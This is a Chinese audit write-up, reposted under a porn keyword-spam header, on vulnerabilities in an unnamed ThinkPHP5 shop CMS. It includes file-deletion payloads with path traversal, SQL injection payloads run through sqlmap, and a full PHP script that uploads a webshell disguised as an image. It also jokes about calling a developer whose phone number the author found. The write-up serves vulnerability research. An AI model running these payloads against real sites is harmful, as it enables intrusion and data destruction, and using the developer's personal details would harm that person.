日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

审计某开源商城中的漏洞大礼包

發布時間:2024/1/23 编程问答 44 豆豆
生活随笔 收集整理的這篇文章主要介紹了 审计某开源商城中的漏洞大礼包 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

首先這個CMS并不怎么出名,拿來當審計樣板卻很合適。給我的感覺是適合初級水平升中級之間的過程,有算是對上一篇審計文章的后續文了。

審計的版本為: 20180206 發布的免費版 2.0 。另外圖很多,建議 PC 端體驗更佳!

分析環境及入口

圖中的 URL 會出現兩個,這是因為部分在公司審計的,部分是周末在家審計的。

官網首頁上有文檔,里面注明了這套 CMS 所使用環境:

ThinkPHP5.0 + MySQL

這樣看來實際上我們只需要熟悉TP5,就能大體知道該CMS的請求流程,而TP5中有個很有用的東西,叫路由,通過相關URL快速定位源碼代碼位置。

當然我們在本地部署好站點后,在前臺任意點擊一個URL:

http://demo.com/index.php?s=/helpcenter/index&id=1

其對應的文件路徑為

application/shop/controller/Helpcenter.php

方法則是該文件中的index(),參數為id。

我的習慣是通讀代碼,所以讓我從中找到了很多有意思的地方。

前臺兩處任意文件刪除

一次刪除一個

問題代碼位于:

application/wap/controller/Components.php

方法:

這段代碼非常直白,居然還是public方法,未做任何校驗直接刪除post參數提交過來的文件路徑。

我當時看到這里直接懵逼的,開發新手也不會寫這樣的代碼吧?

刪除安裝鎖文件

Payload:

http://demo.com/index.php?s=/wap/Components/deleteImgUpload

Post Data:

imgsrc = install.lock

權限夠的話imgsrc參數中如果加../是可以刪根目錄上級文件夾中文件。

一次刪除多個

問題代碼位于:

application/wap/controller/Upload.php

方法:

同樣的,依然是public方法,未做任何校驗直接刪除post參數提交過來的文件路徑。

刪除安裝鎖文件

Payload:

http://demo.com/index.php?s=/wap/Upload/removeFile

Post Data:

filename=install.lock,test1.txt,test2.txt

權限夠的話filename參數中如果加../是可以刪根目錄上級文件夾中文件。

前臺兩處 sql 注入

第一處在 getGoodsListByKeyWord 方法

問題出現在application/shop/controller/Goods.php文件中,我們直接看到代碼。

直接放到sqlmap中跑一遍試試:

可以看到,這是一處報錯回顯的sql漏洞。

我們來驗證一下.

OK!我們現在可以直接用sqlmap跑庫了。

第二處出現在 promotionZone 方法

nice! 這里出現了一個無單引號閉合的SQL拼接,我們持續跟進一下。

先用sqlmap測試一下

666666,可以看到攻擊是成功的。


其實到這里就應該結束了,我也不知道為什么我要接著寫下去。麻煩的不是如何找漏洞,而是你需要將這些知識通過語言整理出來,讓閱讀的人能理解,能學習。

安裝好xdebug后,我們來跟蹤調試一波,定位下問題是如何出現,在哪出現的。

當然我們輸入:

http://cms.com/index.php?s=/shop/Goods/promotionZone&page=1&group_id=1 AND (SELECT * FROM (SELECT(SLEEP(5)))uNuh)

這段Payload后,發現已經中斷生效。

接著我們開始單步跟蹤。

進入到thinkphp/library/think/db/Query.php文件中的where()方法。

前臺上傳 getshell

問題代碼位于:

application/wap/controller/Upload.php

中的uploadFile()方法。

然后我們來看看驗證函數:

上傳文件的目錄在代碼中也有給出:

本地構建Payload:

Payload腳本

hacker.php

<?php phpinfo(); ?>

Payload.php

<?php/*** xxxx前臺文件上傳Payload* * @version 1.0* @author 0x584A <xjiek2010|at|icloud.com> */ $filename = time(); $ch = curl_init();$savePath = 'upload/common/'; $imgfile = new CurlFile('./hacker.php'); $imgfile->setMimeType('image/jpeg');$data = array('file_path' => $savePath, 'file_upload' => $imgfile); curl_setopt($ch, CURLOPT_URL, 'http://[要getshell的域名]/index.php?s=/wap/Upload/uploadFile'); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_SAVE_UPLOAD, false); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_POSTFIELDS, $data);$info = curl_exec($ch); #status = curl_getinfo($ch);if ($status['http_code'] === 200) {echo '[+] 執行成功! ' . PHP_EOL;echo ']+] Payload路徑: ' . $savePath . $filename . '.php' . PHP_EOL.PHP_EOL;echo '[+] 如有網絡延遲,文件名稱請自行加1'.PHP_EOL; } else {echo '[!] 未知原因失敗!' . PHP_EOL; }

有意思的地方

最后還知道了一個開發人員手機號,并確認其姓名。要不要給他打個電話拜個年?

總結

以上是生活随笔為你收集整理的审计某开源商城中的漏洞大礼包的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。